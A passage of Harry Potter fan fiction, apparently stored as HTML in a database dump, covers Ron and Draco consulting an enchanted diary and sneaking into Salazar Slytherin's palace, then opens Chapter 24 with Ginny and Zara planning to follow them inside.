leave this here in case you get hungry.&#8221; The Death Eater put the tray down\non the floor and with her foot pushed it towards Harry and Hermione.&nbsp; She quickly turned on her heels and left the\ncell, closing the door behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Draco were seated around a small fire they had built; they needed a rest\nand something to eat as well.&nbsp; Ron opened\nhis bag and found the diary; he also found a necklace sitting in the bottom of\nhis bag also.&nbsp; He wondered where that\ncame from, he never packed it.&nbsp; Then it\nclicked on in his mind, oh that stupid cat must have dropped it in there on\naccident.&nbsp; Never trust a feline with\nsomething as important as jewelry.&nbsp; He\nshook his head back and forth.&nbsp; Ron took\nout the necklace and rested it on his knee as he moved the invisibility cloak\nover and turned his attention to the diary, he opened the front cover and it\nwas still blank.&nbsp; He scratched the back\nof his head in confusion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\nthe matter Weasley, forget how to read?&#8221; Draco was smug.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlifted his head, glaring &#8220;shut up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nthat hurt.&#8221; Draco said very sarcastically. &#8220;What&#8217;s the trouble then?&#8221; Draco\nleaned on his side propping himself up on his elbow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For\nyour information I&#8217;m trying to figure out how this damn diary works.&nbsp; There&#8217;s no written words,\nno nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe\nyou need some kind of password.&#8221; Draco said glancing down at his fingernails.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nthought a moment, a password huh?&nbsp; What\nkind of password?&nbsp; It could be anything,\na favorite food, a favorite season. How would he know what Jasmine Ravenclaw\nwould use as a password?&nbsp; A thought\nclicked on in his head.&nbsp; Ron stared at\nthe book and said. &#8220;Torrin Gryffindor is an ass.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Not\neven a second later the book started shaking and two figures emerged from it a\nyoung man and woman, they seemed to be arguing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Torrin Gryffindor is an ass, that&#8217;s your blooming\npassword?&#8221; He asked in slight irritation.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ngirl shrugged, &#8220;Don&#8217;t deny it, you are an ass. Just admit it.&#8221;&nbsp; She looked around and saw the face of Ron\nlooking back at her.&nbsp; &#8220;Who are you and\nwhat are you doing with my Diary?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;H&#8212;how\nis this possible?&#8221; Ron asked with disbelief as the two figures stared down at\nhim,&nbsp; He knew\nthese two to be Jasmine Ravenclaw and Torrin\nGryffindor. &#8220;You two are both dead and your souls are in another body.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nrolled her eyes, &#8220;Do you know nothing about living diaries? We are only\nmemories of a past that once was. We can only answer questions that pertain to\nthe past anything after our deaths would be useless to ask about.&#8221;&nbsp; She leaned in closer to Torrin\nso only he could hear her, &#8220;don&#8217;t those two look an awful lot like Kai and\nUlrich?&#8221;&nbsp; She saw him nod. It was true\nthose two looked like their friends, but there were some differences, and then\nshe knew.&nbsp; They must be dead, that Ron\nwasn&#8217;t just fibbing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nthis is your Diary, then why is he in it?&#8221; Draco said getting up off the\nground.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsmirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nshook her head, &#8220;because this stupid ass.&#8221; She looked right at him, &#8220;stole it\nand wrote in my diary to irritate me, and at that time I didn&#8217;t have a\npassword.&nbsp; Didn&#8217;t you read my front\ncover?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyes, of course.&#8221; Ron replied with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nstill don&#8217;t know why you have my diary, the only person I gave permission to\nuse it was Lord Godric Gryffindor and the last time I\nchecked he had been cursed, living for all&nbsp;\neternity as a c&#8212;&#8221;&nbsp; She was cut off\nby Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhave to know about anything that can be done to stop Salazar Slytherin. He has\nmy friends and the Soul Scepter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He\nhas the scepter?&#8221; Jasmine said as her eyes narrowed.&nbsp; &#8220;Just how in Hades did he get the Scepter?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My\nfriends went to retrieve it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nwhat fool had them go and do that?&#8221;&nbsp;\nJasmine was practically shouting.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshrugged, &#8220;I don&#8217;t know some ghost of one of the founders of Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nlooked at Torrin who looked back at her they both had\nthe look of equal surprise.&nbsp; &#8220;Oh dear.&#8221; Jasmine said under her breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Which\nfounder?&#8221; Torrin tilted his head a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ndidn&#8217;t have to answer, he knew.&nbsp; And so\ndid they.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nsat down, &#8220;it&#8217;s very unfortunate that Salazar has the scepter, and with help he\nwill be able to do more than just control the will of humanity.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ncan he do more?&#8221; Ron looked over at Torrin and then\nback at Jasmine.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The\nscepter does a lot more then just control minds, it\nbrings whatever the holder of the scepter wants to reality.&#8221;&nbsp; It looked like she was thinking a moment.\n&#8220;When I was falsely accused of wanting to control humanity, Slytherin neglected\nto tell the council that the Scepter can bring Death and Destruction, hellish\nbeasts can be brought about to reek havoc.&nbsp;\nIn actuality he can bring Hades upon the earth, the scepter gives the\npower of a God.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsighed with relief, &#8220;well at least he can&#8217;t use it, only your soul can.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nis true but if Salazar can figure out how to do the Soul Weave then your days\nare numbered.&nbsp; See you can change the\nSoul Gem, all he would have to do is take mine off of it and put his on.&nbsp; So far only Merlin and I can create a Soul\nGem and I&#8217;m pretty sure Slytherin is using special means to get someone to\neither use it for him or to create a Soul Gem.&nbsp;\nUnfortunately for him my soul is pretty strong willed, and whoever it is\nthat has my soul must be pretty strong as well.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsighed, &#8220;I sure hope Hermione is pretty strong, she&#8217;s already been tortured I\nheard.&#8221; He saw Jasmine shudder. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Poor girl.&#8221;\nJasmine looked over at Torrin who grabbed her hand\ntenderly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nnoticed the necklace lying on Ron&#8217;s leg, &#8220;Well it seems someone has found your\nnecklace Jasmine.&#8221;&nbsp; Torrin\npointed to the necklace and Jasmine reached for it holding it in her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nsmiled, &#8220;I remember when you gave me this, it wasn&#8217;t\nuntil much later that I realized that you actually gave me a part of your\nsoul.&#8221;&nbsp; She handed it to Ron, &#8220;give this\nback to your friends, it should remain with the souls.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nstood, &#8220;Weasley we need to go now, put the diary away.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\ntell me what to do Malfoy.&#8221; Ron glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin and\nJasmine chuckled and both Draco and Ron glared the two laughing figures.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\nso funny?&#8221; Both Draco and Ron said at the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Some\nthings never change.&#8221; Torrin said shaking his head\nback and forth.&nbsp; &#8220;Kai and Ulrich hated\neach other and would do just about anything to get on each others nerves.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nlike seeing my sister.&#8221; Ron glared menacingly at Draco, who just rolled his\neyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nshe wants to be with me, I&#8217;m not forcing her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nbetter watch it Malfoy, if you hurt her. I&#8217;ll make you\nsuffer&#8212;&#8221;&nbsp; Ron\nwas rudely interrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nyeah we all heard of your threats Weasley, you never live up to them.&#8221; Draco\nsaid with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou want me to live up to one now?&#8221; Ron clinched his fist and lifted it in\nwarning.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nstop it you two, honestly, will you ever grow up.&#8221; Jasmine didn&#8217;t feel like\nbabysitting.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked over at Jasmine, what she said just totally reminded him of what\nHermione would say.&nbsp; He had to get to his\nfriends before they were tortured to death.&nbsp;\nHe dropped his fist and his arm hung down at his side.&nbsp; &#8220;Well I suppose we should get going, I&#8217;m\ngoing to close up the diary now, it was interesting meeting you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nand Torrin smiled then with a nod Ron closed the book\nand stuck it back in his bag and swung it over his shoulder.&nbsp; The two of them continued on their way</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nwas lying on his bed sleeping peacefully when the terrace doors opened.&nbsp; He felt something pass through his hand; he\nabruptly sat up wide awake.&nbsp; His eyes\npopped open seeing someone standing at his bed side.&nbsp; &#8220;What are you doing here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nfinished there, so now I&#8217;m returning here.&#8221; She floated about the room.&nbsp; &#8220;Two idiots are on their way here after I\nthought I had convinced one of them not to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nchuckled causing her to glare at him &#8220;Oh just don&#8217;t worry about it, let them\ncome.&nbsp; I still have a score to settle\nwith Ulrich&#8217;s soul for killing me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ndidn&#8217;t care about what Salazar was saying, Ulrich has\nno importance in what she wanted. &#8220;As soon as you get that stubborn girl to use\nthe scepter you will make me flesh, is that understood.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ndon&#8217;t you try to order me around, I might just leave you like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nwouldn&#8217;t dare&#8221; Her eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\ntest me Rowena, you know I would.&nbsp; Just\nlike when you betrayed me.&nbsp; You did it\nfor your own good accusing me solely of the murder of your daughter and her\nfriends.&nbsp; Of course the bloody council\nwouldn&#8217;t believe a word I say, especially if I said you had a hand in their\ndemise.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nknow if you hadn&#8217;t screwed it up the first time, that\nnever would have happened.&nbsp; I was gone\nthat week so you could accuse Jasmine, which you did.&nbsp; But it backfired on you. I returned to find\non the last day of her trial that she had your journal.&#8221; She crossed her arms over\nher transparent chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nblame me for that mistake&#8221; He pointed a stern finger at her.&nbsp; &#8220;How could I have known that Ulrich would\nbetray me?&nbsp;&nbsp; I thought I had taught him\nbetter than that.&nbsp; No one crosses me and\ngets away with it.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nshook her head.&nbsp; &#8220;I think Ulrich I mean\nDraco is making up for his deceit though Salazar, he has helped us every step\nof the way, he did give Jasmine, er\nI mean Hermione Granger that Orb of Ereena placing\nher under slight control. Even though it didn&#8217;t work to well since she figured\nout what it really was.&#8221; She stared at him in a commanding fashion, &#8220;you will\nmake me flesh and blood Salazar, I have done too much to get that girl to trust\nme and for her to even retrieve the Scepter for us.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nbowed mockingly, &#8220;as you wish my lady.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nwould you stop that, you know I don&#8217;t like that.&#8221;&nbsp; She looked out the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Draco pushed their way through the thick bushes along the castle walls,\nnext to the entrance.&nbsp; Ron looked up the\nhuge wall and sighed with regret.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou sure this is the right place?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221;\nDraco said annoyed. &#8220;I have been here plenty of times to know this is the right\nplace.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nno doubt you&#8217;ve been here for your Death Eater training.&#8221; Ron said opening his\nbag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nno we have a whole different palace for that,&#8221; Draco was sarcastic and decided\nto continue to irritate Ron. It was always such fun to see him get so\nangry.&nbsp; &#8220;And it&#8217;s in such a wonderful\nlocation too.&nbsp; Rome is a beautiful city, great for Death Eater training.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nrolled his eyes.&nbsp; What a time for Draco\nto make a joke.&nbsp; &#8220;Well since you come\nhere all the time, they are probably expecting you. I can hide under this.&#8221; He\npulled the invisibility cloak from the bag.&nbsp;\n&#8220;And you can just let me in the front gate without any problems.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, alright.&#8221; Draco said nonchalantly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nand if you betray me Malfoy, I will kill you.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Rest\nassured oh mighty Weasley, I have my own agenda here that needs to be\naccomplished and it wouldn&#8217;t do me any good to betray you, I&#8217;ll probably need\nyou to get out of here when I am finished.&#8221;&nbsp;\nHe smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshook his head and slipped the cloak on over his head. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nwatched as Ron disappeared from view.&nbsp;\n&#8220;All right stay close, we&#8217;re going in the front gate.&#8221; Draco whispered,\n&#8220;and then you&#8217;re on your own.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwouldn&#8217;t have it any other way Malfoy.&#8221; Ron followed\nDraco towards the front gate.&nbsp; Feeling\nslightly uneasy he wondered just where exactly he was going to look for Harry\nand Hermione.&nbsp; They could be anywhere in\nthat large palace.&nbsp; He took a deep breath\nand hoped he could actually pull this off.&nbsp;\nRon waited for Draco to stop talking with two Death Eaters and then he\nfollowed him inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Okay,\nnow I never said Ron was going to rescue them just yet, it was just Ron to the\nRescue.&nbsp; *snigger* I can be so cruel\nsometimes.&nbsp; Well stay tuned for Chapter\n24&#8212;Lucius&#8217;s Big Mistake.&nbsp; Read and Review thanks Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 24, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: Alright all the\nHarry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 24&#8212;Lucius&#8217;s\nBig Mistake</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Tell me\nagain, why are we doing this?&#8221; She asked while looking around nervously, hiding\nin the bushes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know they can&#8217;t do anything right, they need us.&#8221; She\nsaid, also looking out of the bushes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But Zara this is dangerous.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And that is exactly why they need us. You don&#8217;t think I&#8217;m\nabout to allow Ron to go off and get killed without me being a part of it do\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know you&#8217;ve been wanting to kill Ron but this isn&#8217;t the\nway to go about it.&#8221; Ginny smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara rolled her eyes. &#8220;Look, you know what I mean.&nbsp; They can&#8217;t do anything on their own.&nbsp; You know what they say behind every good man\nis a good woman.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Personally I like a good man from behind.&#8221; Ginny wiggled\nher eyebrows suggestively</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara threw her a sarcastic look, but was grinning just the\nsame. &#8220;Now is not the time for jokes Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Who said I was joking.&#8221; Ginny said looking off in the\ndistance towards the castle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara simply shook her head, she pointed towards the entrance\nto the castle.&nbsp; &#8220;There look, Ron just\nbecame invisible and he must be following that asshole inside.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny glared at Zara for what she just said about\nDraco.&nbsp; She was in a sour mood now. &#8220;Okay\nsmarty, how do we get inside?&nbsp; We have no\nmeans to make us invisible. Look the entrance is being guarded by those Death\nEaters and&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well we could jump them.&#8221; Zara interrupted, tilting her\nhead a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you insane?&nbsp; Zara\nwe can&#8217;t jump them, look at the size of them.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara rolled her eyes, &#8220;Alright let&#8217;s just stun them with our\nwands then Ginny, sheesh you take the fun out of everything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t think we should stun them either, I mean there must\nbe a reason why Ron and Draco didn&#8217;t stun them.&nbsp;\nThere could be magic alarms all over this place.&#8221; Ginny glanced about\nthe castle.&nbsp; There were a few moments of\nsilence when Zara shifted and looked right at Ginny with a devilish smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have an idea.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Which is what?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We become Death Eaters.&#8221; Zara said proudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny&#8217;s mouth dropped in disbelief. &#8220;What?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Not for reals,&#8221; Zara glared. &#8220;Holy crap\nGinny, like I would ever want to be a scum sucking spawn of evil? No\nthanks.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny pinched her sinuses with gentle fingers trying to massage\nher tiny headache away.&nbsp; &#8220;I&#8217;m confused.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We tell the guarding Death Eaters that we want to be Death\nEaters and then they let us in without trouble.&nbsp;\nThey might tell us where to report but we don&#8217;t have to show up there.\nWe can then look for Ron and Draco and help them, inconspicuously of course.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Nodding, Ginny smirked, &#8220;That&#8217;s a great idea.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Of course it&#8217;s a great idea, why else would that hat have\ntrouble deciding between Slytherin and Gryffindor for me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can see why, you are pretty deceptive.&#8221; Ginny said with\nhalf a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara nodded, &#8220;Damn straight, now let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny and Zara stepped out of the bushes and approached the\nentrance to the castle&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron hated the feeling of prison cells; they always seemed to\nbe so full of spiders. He shivered at the thought as he continued to walk down\nthe corridor.&nbsp;&nbsp; Ron saw that no good\nWormtail standing next to a cell near the other end of the hall.&nbsp; It must be Harry or Hermione&#8217;s cell.&nbsp; He also saw another door at the end of the\ncorridor that looked like it led into another room.&nbsp; Ron hated Wormtail. He remembered what Draco\nsaid about using wands here; there are magic alerts all over the place.&nbsp; Only Salazar and Voldemort were allowed to\nuse magic, if there were anyone else using it they would know there was an\noutsider among them and would be descended upon by at least twenty Death Eaters\nor more.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He picked up a couple of good-sized rocks and stone pieces\nand walked towards Wormtail.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">I&#8217;ll get him.&#8217;</i> Ron thought to himself, &#8216;<i style="mso-bidi-font-style:normal">How dare he pretend to be my pet when he was\njust a sniveling worm.&#8217;</i> He chucked a rock straight at Wormtail&#8217;s head; he\nnoticed the pudgy man duck just in time.&nbsp;\nRon threw some more rocks, and Wormtail avoided most of them, he got hit\nin the forehead and he turned around and got hit directly in the back. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Eeoow!&#8221;&nbsp; He screeched.&nbsp;&nbsp; &#8220;Alright, who&#8217;s there, show yourself\nimmediately!&#8221; Wormtail spun around in all different directions.&nbsp; He looked in the cell window to see if they\nwere still in there, the prisoners could have gotten out and throwing things at\nhim.&nbsp; He was a bit confused when he saw\nthe two of them still inside. He glanced down the corridor and saw a lone Death\nEater was coming towards him.</p>\n\n<p class="MsoNormal" 